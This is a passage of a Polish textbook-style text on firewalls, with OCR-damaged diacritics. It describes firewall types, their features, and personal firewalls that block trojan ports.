powstaly w celu obrony przed atakami z Internetu, ale obecnie coraz czgsciej sto-
sowane sa do obrony przed atakami z wngtrza sieci. Firewall czgsto stosowane sa
(instalowane) na pomostach pomigdzy sieciami LAN i WAN badz w systemach
wspolpracujacych z ruterami stanowiacymi te pomosty.

Firewall moze by¢ programem komputerowym, sprz¢tem wyposazonym w ,,ukryte”
w uktadach elektronicznych oprogramowanie, jak rowniez rozwigzaniem sprzgto-
wo-programowym. Naleza one do najbardziej skutecznych rozwiazan problemu
bezpieczenstwa sieci. Wymagaja bardzo solidnej i przemyslanej konfiguracji, ktora
jest w zgodzie z zatozona polityka bezpieczenstwa. Systemy firewall chronig sie¢
na kilku poziomach, umozliwiaja takze wdrozenie zupetnie nowych zasad bezpie-
czenstwa. Warto wigc pamigtac, ze:

¢ Uzytkownicy wewngtrzni moga mie¢ dostep do wszystkich (lub wybranych)
ustug Internetu, natomiast uzytkownicy zewngtrzni nie;

¢ Ustugi takie jak e-mail moga by¢ dozwolone dla ruchu zewngtrznego tylko
w odniesieniu do specyficznego komputera, co daje otwarcie na Swiat,
a jednoczesnie pozwala chroni¢ i ukrywac inne zasoby sieciowe;

¢ Wszystkie wydarzenia sa bardzo szczegétowo monitorowane i rejestrowane,
a niektore z nich generuja natychmiastowe alarmy;

¢ Pakiety moga podlega¢ badaniu jeszcze przed ich pojawieniem si¢ w systemie
operacyjnym (sa niejako zdejmowane wprost z karty sieciowej i jezeli nie
spetniaja zasad polityki bezpieczenstwa, sa natychmiast odrzucane);

¢ Firewalle zawieraja mechanizmy ukrywania IP komputeréw chronione;j sieci
lokalnej, thumaczenia adreséw IP i translacji grupy wewngtrzych adresow IP
do jednego lub kilku adreséw zewngtrznych;

¢ Wiele systemow ma mozliwo$¢ konstrukcji wirtualnych sieci prywatnych
(VPN — Virtual Private Network), opartych na metodach szyfrowania
transmisji danych;

¢ Kazdy system firewall wprowadza pewne obciazenia i obniza efektywno$¢
pracy.
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Wigkszo$¢ przedstawionych tu informacji zostata zaczerpnigta z pracy K. J.Jakub-
owskiego — ,,Material Konferencyjny. Przestepczos¢ w sieciach komputerowych”.

Rodzaje zapor ogniowych

Na rynku dostgpnych jest wiele produktéw sprzedawanych pod nazwa firewall, lecz
roéznig si¢ one poziomem oferowanych zabezpieczen. Filtry pakietowe (Network
Level) na podstawie adresu zrodtowego i docelowego oraz portu pojedynczego
pakietu decyduja, czy dana przesytka moze zostaé¢ przestana dalej, czy tez nie.
Zwyczajny ruter nie jest w stanie takiej decyzji podjac, lecz bardziej nowoczesne
konstrukcje moga przechowywaé wewngtrzne informacje o stanie polaczen prze-
chodzacych przez niego, o zawartosci niektorych strumieni danych itp. Filtry pa-
kietowe sa zwykle bardzo szybkie, jednak ich wada jest to, ze podane kryteria se-
lekcji moga okazaé si¢ niewystarczajace dla niektérych ustug internetowych, przez
co do sieci bylyby przepuszczane niepozadane pakiety, a wtedy jedna z mozliwych
prob ataku moze by¢ umieszczenie pakietdéw wyzszego poziomu w falszywych
ramkach MAC lub protokétu warstwy 3 (sieciowa) i 4 (transportowa) modelu
ISO/OSI.

Bramki typu Circuit Level sa w stanie przyporzadkowywac pakiety do istniejacych
potaczen TCP i dzigki temu kontrolowaé cata transmisjg. Zaawansowane systemy
potrafia takze kojarzy¢ pakiety protokolu UDP, ktory w rzeczywistosci kontroli
potaczen nie posiada.

Firewalle Application Level to, generalnie rzecz ujmujac, hosty, na ktérych uru-
chomiono proxy servers, niezezwalajace na bezposredni ruch pakietéw pomigdzy
sieciami oraz rejestrujace i $ledzace caly ruch przechodzacy przez niego. Proxies
potrafiag wiec niejako odseparowac ,,wiarygodna” cze$¢ sieci od podejrzanej; moga
magazynowac najcze¢sciej zadane informacje. Dla kazdej aplikacji (czyli ustugi sie-
ciowej, np. http, ftp, telnet, smtp, snmp) istnieje osobny proxy, dla jakiego definio-
wane sg reguly, wedtug ktorych podejmowana jest decyzja o zaakceptowaniu badz
odrzuceniu polaczenia. Niewatpliwym minusem tego rozwiazania jest konieczno$¢
stosowania wielu proxies do obstugi roznych aplikacji; jezeli dla danego protokotu
nie jest dostepny odpowiedni proxy, to dane przesytane w tym formacie nie beda
w ogole przepuszczane przez bramke.

Cechy zapor ogniowych:

¢ Umozliwienie dostgpu jedynie do tych ustug, ktore sa skonfigurowane przez
administratora i moga by¢ bezpiecznie uzytkowane (m.in. HTTP Proxy,
Gopher, SHTTP, SSL, JavaGuard, ActiveXGuard, KeywordGuard, URL
screening, RSH Proxy, Telnet Proxy, Rlogin Proxy, FTP Proxy, X11 Proxy,
Finger Proxy, SMTP Proxy, POP Proxy, SNMP Proxy, NNTP Proxy, LPR
Proxy, Whois Proxy, Circuit Proxy, RealAudio Proxy, RealVideo Proxy,
Xing Proxy, Netshow Proxy, VDOLive Proxy, Logging System, reports, alerts,
scripting, SNMP agent, SecurelD, Integrated VPN, DES56, PCX Client,
Authentication Server, DNS Hiding, Content Vector Protocol);
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¢ Zapewnienie petnego bezpieczenstwa przez sprawdzanie zawartosci
komunikacji sieciowej] WWW, FTP, SMTP, Telnet i Rlogin;

¢ Realizacja funkcji SSN (Secure Server Network);

¢ Tlumaczenie i ukrywanie prywatnych adresow IP chronionej sieci
komputerowej przez utajnienie rzeczywistych adresow sieci prywatnej oraz
thumaczenie ,,w locie” adresow niewlasciwych, dzigki czemu mozliwe jest
wykonywanie identyfikacji i autoryzacji, ukrywanie infrastruktury sieci
wewngetrzne;j;

¢ Wspotdziatanie z systemami wykrywania wlaman (np. RealSecure),
ktore w razie wykrycia wlamywacza niezwlocznie powiadamiaja o tym,
aby niebezpieczny kanat komunikacji sieciowej zostat w porg zablokowany;

¢ Mozliwos¢ wspolpracy z programami antywirusowymi (kontroli antywirusowej
poddawane sa wszystkie przychodzace z Internetu pliki, wiadomosci lub caty
generowany ruch);

¢ Filtrowanie adresow URL (niepozadana zawartos¢ WWW);

¢ Szyfrowanie przesylanych informacji przy zastosowaniu sprawdzonych technik
kryptograficznych oraz efektywnych algorytmow generowania i dystrybucji
kluczy szyfrowania (DES, RC—4, FWZ—1, MD5, SHA—1, SKIP, IPSec, IKE);

¢ Umozliwienie zarzadzania i dostepu do urzadzen SNMP w sieci lokalnej,
Intranecie lub sieci rozleglej bez wystawiania systemu na niebezpieczenstwo;

¢ Wspdlpraca z najwazniejszymi systemami potwierdzania autentycznosci
(np. SecurIlD, RADIUS, AXENT, TACACS, Vasco, S/Key) prowadzona
dla wszystkich (ponad 100) kontrolowanych ustug sieciowych;

¢ Skanowanic WWW pod wzgledem zawartosci apletow Java, procedur ActiveX
i innych potencjalnie niebezpiecznych dodatkow do HTML;

¢ Wykrywanie i blokowanie najbardziej niebezpiecznych technik wtaman np.
»Spoofing”, .SYN Flood”, ,,LAND?”, ,,Ping of Death”, ,,WinNuke”;

¢ Zapewnienie bezpiecznego serwera poczty elektronicznej, w ktorej przesytki
SMTP podlegaja wnikliwej kontroli zawartosci;

¢ Rozliczanie pracownikoéw przedsigbiorstwa w zakresie uzytkowania ustug
internetowych (np. mozna dowiedzie¢ sig, z jakich serweréw korzystali
uzytkownicy, w jakim czasie i jak dhugo to robili, jakie pliki przegladali
oraz ile bajtow informacji zostato przestanych);

¢ Monitorowanie aktywnych sesji sieciowych umozliwiajace administratorowi
sledzenie i blokowanie niebezpiecznych sesji sieciowych w czasie
rzeczywistym;

¢ Prowadzenie analizy zdarzen rejestrowanych przez system zaporowy razem
z zapisami kontrolnymi odnotowanymi na ruterach.
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Nie wszystkie zapory ogniowe sktadaja si¢ z kilku czgéci. Istnieja zapory przezna-
czone do uzytku niekomercyjnego, ktore stuza do ochrony pojedynczych kompute-
réow. Zapory te zapewniaja powierzchowna ochrong danych. Nie posiadaja wpraw-
dzie rozbudowanych opcji ochrony, jednak dla przecigtnego uzytkownika sieci sa
wystarczajace. W ich opcjach mozemy znalez¢ ochrong przed: koniami trojanskimi,
wirusami w listach, przed wysytaniem plikow przez ICQ itp. Ich gtéwna i najwaz-
niejsza cecha jest blokowanie dostgpu do naszego komputera z Internetu. Wsrod
zapor niekomercyjnych pojawiaja si¢ takie, ktore w szczegolnosci maja za zadanie
blokowania portow uzywanych przez konie trojanskie.
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